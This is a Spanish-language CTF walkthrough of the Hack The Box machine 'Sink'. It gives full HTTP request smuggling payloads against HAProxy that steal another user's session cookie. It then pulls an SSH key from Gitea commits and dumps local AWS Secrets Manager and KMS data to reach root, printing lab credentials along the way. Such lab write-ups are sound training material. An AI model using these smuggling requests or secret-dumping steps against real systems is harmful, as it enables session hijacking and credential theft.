lund@home:~$

Autor: Lund K. S.

HTB_Sink HTB_Sink | Hacker-Blog

HTB_Sink

Sink {-}

Introduccion {-}

La maquina del dia se llama Sink.

El replay del live se puede ver aqui

S4vitaar Sauna maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.225

ttl: 63 -> maquina Linux

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.225

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.225 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p22,3000,5000 10.10.10.225 -oN targeted
Puerto Servicio Que se nos occure? Que falta?
22 ssh Coneccion directa  
3000 http Web Fuzzing  
5000 https Web Fuzzing  

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.225:3000
whatweb http://10.10.10.225:5000

Vemos en el puerto 3000 informacion que habla de un git un poco como un github. Y en el puerto 5000 vemos un password field que parece ser un panel de inicio de session.

Checkear la web {-}

Si entramos en la url http://10.10.10.225:3000, El wappalizer no nos muestra nada. Si entramos con la url http://10.10.10.225:5000 vemos el panel de inicio de session y el wappalizer tampoco no dice nada.

El puerto 3000 nos muestra un GITEA, intentamos cosas como XSS, Regex y SQLi en el input del menu Explorar, pero no vemos nada. En usuarios vemos 3 usuarios:

  • david
  • marcus
  • root

Si pinchamos en los links de los usuarios no vemos nada. Tambien vemos que no nos podemos registrar. Intentamos loggearnos como david:david, marcus:marcus y root:root pero nada.

En la pagina del puerto 5000, nos podemos registrar. Creamos un usuario y entramos en una web. miramos si podemos hacer cosas como htmlI, XXS, pero no vemos nada. Lo unico seria en la pagina http://10.10.10.225:5000/notes que podriamos Fuzzear para ver notas.

Lanzamos Burpsuite para ver como se transmitten las peticiones. Pero no vemos nada interesantes aqui.

Vulnerability Assessment {-}

HTTP Request Smuggling {-}

Como no hemos encontrado nada analyzando la web manualmente, analyzamos las cabezeras con curl

curl -X GET -I http://10.10.10.225:5000/home
curl -X GET -I http://10.10.10.225:5000/home -L

Aqui vemos que estamos frente a un gunicorn que pasa haproxy. Miramos por google que es y si existen vulnerabilidades. Encontramos una vulnerabilidad liada a haproxy que es un HTTP Request Smuggling. Esta vulnerabilidad esta bien contemplada en la web de portswigger. Esta vulnerabilidad basicamente permitte enviar 2 peticiones al mismo tiempo y permitteria burlar las seguridades con esta segunda peticion. En el caso de haproxy podemos ver esta vulnerabilidad en la pagina de nathanvison.

Para explotar esta vulnerabilidad vamos a utilizar el Burpsuite.

POST /comment HTTP/1.1
Host: 10.10.10.225:5000
Content-Type: application/x-www-form-urlencode
Content-Length: 10
Cookie: lang=es-ES; i_like_gitea=604fd0a0f47a3b62; _csrf=4/PDrYQpzOFpi6ZlhMOToLe6YnY6MTYzMTk5NTE4zUONzY2NzY2Mg;
 redirect_to=&2Froot; session=eyJlbWFpbCI6InMOdmlOyXJaczR2aXRhci5jb20ifQ.YU2HdQ.qlIPX6awl0v1C8A8UXGUHfLXFJo
Transfer-Encoding:[\x0b]chunked

0

POST /comment HTTP/1.1
Host: 10.10.10.225:5000
Content-Type: application/x-www-form-urlencode
Content-Length: 10
Cookie: lang=es-ES; i_like_gitea=604fd0a0f47a3b62; _csrf=4/PDrYQpzOFpi6ZlhMOToLe6YnY6MTYzMTk5NTE4zUONzY2NzY2Mg;
 redirect_to=&2Froot; session=eyJlbWFpbCI6InMOdmlOyXJaczR2aXRhci5jb20ifQ.YU2HdQ.qlIPX6awl0v1C8A8UXGUHfLXFJo

msg=Adios


[ ! ] Notas: Es possible que tengamos que encodear en base64 el [\x0b] antes de ponerla en el burpsuite y tenemos que darle al Follow redirect en este caso.

Aqui podemos ver que hemos podido enviar 2 peticiones al mismo tiempo, una nos da el mensaje None y la segunda nos sale Adios, lo que significa que es vulnerable a HTTP Request Smuggling.

Intentamos cosas y nos damos cuenta que si agregamos mas content length a la segunda request podemos ver parte de la request del delete.

POST /comment HTTP/1.1
Host: 10.10.10.225:5000
Content-Type: application/x-www-form-urlencode
Content-Length: 10
Cookie: lang=es-ES; i_like_gitea=604fd0a0f47a3b62; _csrf=4/PDrYQpzOFpi6ZlhMOToLe6YnY6MTYzMTk5NTE4zUONzY2NzY2Mg;
 redirect_to=&2Froot; session=eyJlbWFpbCI6InMOdmlOyXJaczR2aXRhci5jb20ifQ.YU2HdQ.qlIPX6awl0v1C8A8UXGUHfLXFJo
Transfer-Encoding:[\x0b]chunked

0

POST /comment HTTP/1.1
Host: 10.10.10.225:5000
Content-Type: application/x-www-form-urlencode
Content-Length: 50
Cookie: lang=es-ES; i_like_gitea=604fd0a0f47a3b62; _csrf=4/PDrYQpzOFpi6ZlhMOToLe6YnY6MTYzMTk5NTE4zUONzY2NzY2Mg;
 redirect_to=&2Froot; session=eyJlbWFpbCI6InMOdmlOyXJaczR2aXRhci5jb20ifQ.YU2HdQ.qlIPX6awl0v1C8A8UXGUHfLXFJo

msg=a


Si ponemos Content-Length: 300 podemos ver una cookie de session que no es la misma que la nuestra. Cambiamos la cookie en el Firefox y vamos a /notes podemos ver notas differentes que contienen credenciales para nuevos Hosts que añadimos al /etc/hosts.

Intentamos ir a las urls: - http://chef.sink.htb:3000 - http://chef.sink.htb:5000 - http://code.sink.htb:3000 - http://code.sink.htb:5000 - http://nagios.sink.htb:3000 - http://nagios.sink.htb:5000

pero no vemos ninguna differencia. Podria ser un puerto 80 interno. Intentamos connectarnos por ssh con las credentiales encontradas pero no podemos connectarnos.

Una de las credenciales nos llama la atencion porque son credenciales del usuario root y recordamos haber visto un usuario root en el GITEA. Si vamos a la url http://10.10.10.225:3000 y nos conectamos con las credenciales de root.

Vuln exploit & Gaining Access {-}

GITEA Git commits history {-}

Loggeado como el usuario root nos permitte ver 4 repositorios. Aqui tenemos que analyzar los differentes repositorios que nos permitte encontrar nuevos puertos internos, un proyecto elastic_search, un repositorio Log_Manager que contiene informaciones sobre un aws y otras informaciones mas.

Uno de los proyecto es el Key_Management que es archivado, y que contiene commits hechos por el usuario marcus. Uno de estos commits contiene una Private key.

Copiamos la llave y le ponemos derechos 600, nos podemos connectar por ssh como el usuario marcus.

chmod 600 id_rsa
ssh -i id_rsa marcus@10.10.10.225

Aqui podemos ver que hemos ganado accesso al systema y que podemos leer la flag.

Privilege Escalation {-}

Rootear la maquina {-}

whoami
ls
id
sudo -l
pwd
find \-type f 2>/dev/null

buscamos para puertos abiertos

netstat -nat

aqui vamos a pasar por /proc/net/tcp y passar de hex a decimal con bash.

  1. Copiamos el /proc/net/tcp en un fichero data_hex

     cat /proc/net/tcp
    
  2. recuperamos los puertos

     cat data_hex | awk '{print $2}'
     cat data_hex | awk '{print $2}' | tr ':' ' '
     cat data_hex | awk '{print $2}' | tr ':' ' ' | awk 'NF{print $NF}'
     cat data_hex | awk '{print $2}' | tr ':' ' ' | awk 'NF{print $NF}' | sort -u
    
  3. Passamos del hexadecimal al decimal con bash

     for hex_port in $(cat data_hex | awk '{print $2}' | tr ':' ' ' | awk 'NF{print $NF}' | sort -u); do echo "obase=10; ibase=16; $hex_port" | bc; done
    

Continuamos la enumeracion

cd /
find \-perm -4000 2>/dev/null
ls -la /var
ls -la /opt
ls -la /opt/containerd
ps -faux
ifconfig

cat /home/bot/bot.py

El ps -faux nos muestra un commando python a un fichero que no existe en esta maquina. Pensamos en un docker o algo parecido. Aqui no vemos nada interessante. Vamos a crearnos un procmon en bash

cd /dev/shm
touch procmon.sh
chmod +x procmon.sh
vi procmon.sh
#!/bin/bash

old_process=$(ps -eo command)

while true; do
    new_process=$(ps -eo command)
    diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -v -E "procmon|command|kworker"
    old_process=$new_process
done

Aqui tampoco vemos nada interessante. Miramos si tenemos binarios installados que corresponden a lo que hemos encontrado en el GITEA.

which aws

Vemos que tenemos aws installado y en un commit del repository Log_Manager podemos ver credenciales con un secret contra un endpoint en el puerto 4566.

netstat -nat | grep "4566"

aws help
aws secrectsmanager help
aws --endpoint-url="http://127.0.0.1:4566" secrectsmanager list-secrets

Aqui vemos que tenemos primero que configurar el commando aws.

aws configure

AWS Access Key ID [None]: AKIAIUEN3QWCPSTEITJQ
AWS Secret Access Key [None]: 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
Default region name [None]: eu
Default option format [None]:

aws --endpoint-url="http://127.0.0.1:4566" secrectsmanager list-secrets

Aqui ya podemos listar los secretos y recuperamos la data interesante

aws --endpoint-url="http://127.0.0.1:4566" secrectsmanager list-secrets | grep "ARN"
aws --endpoint-url="http://127.0.0.1:4566" secrectsmanager list-secrets | grep "ARN" | grep -v "RotationLambdaARN"
aws --endpoint-url="http://127.0.0.1:4566" secrectsmanager list-secrets | grep "ARN" | grep -v "RotationLambdaARN" | grep -oP '".*?"'
aws --endpoint-url="http://127.0.0.1:4566" secrectsmanager list-secrets | grep "ARN" | grep -v "RotationLambdaARN" | grep -oP '".*?"' | grep -v "ARN"
aws --endpoint-url="http://127.0.0.1:4566" secrectsmanager list-secrets | grep "ARN" | grep -v "RotationLambdaARN" | grep -oP '".*?"' | grep -v "ARN" | tr -d '"'

Ahora que tenemos un listado de ARN podemos usar del commando get-secret-value para cada ARN.

#!/bin/bash

aws --endpoint-url="http://127.0.0.1:4566" secrectsmanager list-secrets | grep "ARN" | grep -v "RotationLambdaARN" | grep -oP '".*?"' | grep -v "ARN" | tr -d '"' while read aws_secret_key; do
    echo -e "\n[+] Mostrando secreto con el secret_key $aws_secret_key:\n"
    aws --endpoint-url="http://127.0.0.1:4566" secretsmanager get-secret-value --secret-id "$aws_secret_key"
done

Aqui podemos ver credenciales y como el usuario david esta en el systema intentamos con la credencial encontrada

su david
Password: EALB=bcC=`a7f2#k

Ya hemos podido pivotar al usuario david y vemos que en su directorio tiene un proyecto con un fichero encodeado. Vamos a intentar decodearlo con aws.

cd Projects/Prod_Deployment
aws --endpoint-url="http://127.0.0.1:4566" kms list-keys


aws configure

AWS Access Key ID [None]: AKIAIUEN3QWCPSTEITJQ
AWS Secret Access Key [None]: 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
Default region name [None]: eu
Default option format [None]:

aws --endpoint-url="http://127.0.0.1:4566" kms list-keys

Si miramos la funccionalidad de decrypt del aws, vemos que necessitamos una key_id para desencryptar un fichero.

aws --endpoint-url="http://127.0.0.1:4566" kms list-keys | grep -i "keyid"
aws --endpoint-url="http://127.0.0.1:4566" kms list-keys | grep -i "keyid" | awk 'NF{print $NF}'
aws --endpoint-url="http://127.0.0.1:4566" kms list-keys | grep -i "keyid" | awk 'NF{print $NF}' | tr -d '"'
aws --endpoint-url="http://127.0.0.1:4566" kms list-keys | grep -i "keyid" | awk 'NF{print $NF}' | tr -d '"' | tr -d ','

Vamos a crear otro script para desencryptar el fichero.

touch decryptor.sh
chmod +x !$
nano decryptor.sh


#!/bin/bash

declare -a algorithms=(SYMMETRIC_DEFAULT RSAES_OAEP_SHA_1 RSAES_OAEP_SHA_256)

for algo in "${algorithms[@]}"; do
    aws --endpoint-url="http://127.0.0.1:4566" kms list-keys | grep -i "keyid" | awk 'NF{print $NF}' | tr -d '"' | tr -d ',' | while read key_id; do
        echo -e "\n[+] Probando con el algoritmo $algo la key $key_id:\n"
        aws --endopoint="http://127.0.0.1:4566 kms decrypt --encryption-algorithm $algo --ciphertext-blob fileb:///home/david/Projects/Prod_Deployement/servers.enc --key-id "$key_id"
    done
done

Lanzamos el script y vemos el resultado que es un plaintext en base64. Lo desencryptamos en un fichero, y con el commando file vemos que el fichero es un gzip.

echo "..." | base64 -d > file
file file
mv file file.gz
which gunzip
gunzip file.gz
cat file

Aqui vemos una contraseña y probamos si es la contraseña del usuario root

su root
Password: _uezduQ!EY5AHfe2

Somos root y podemos ver la flag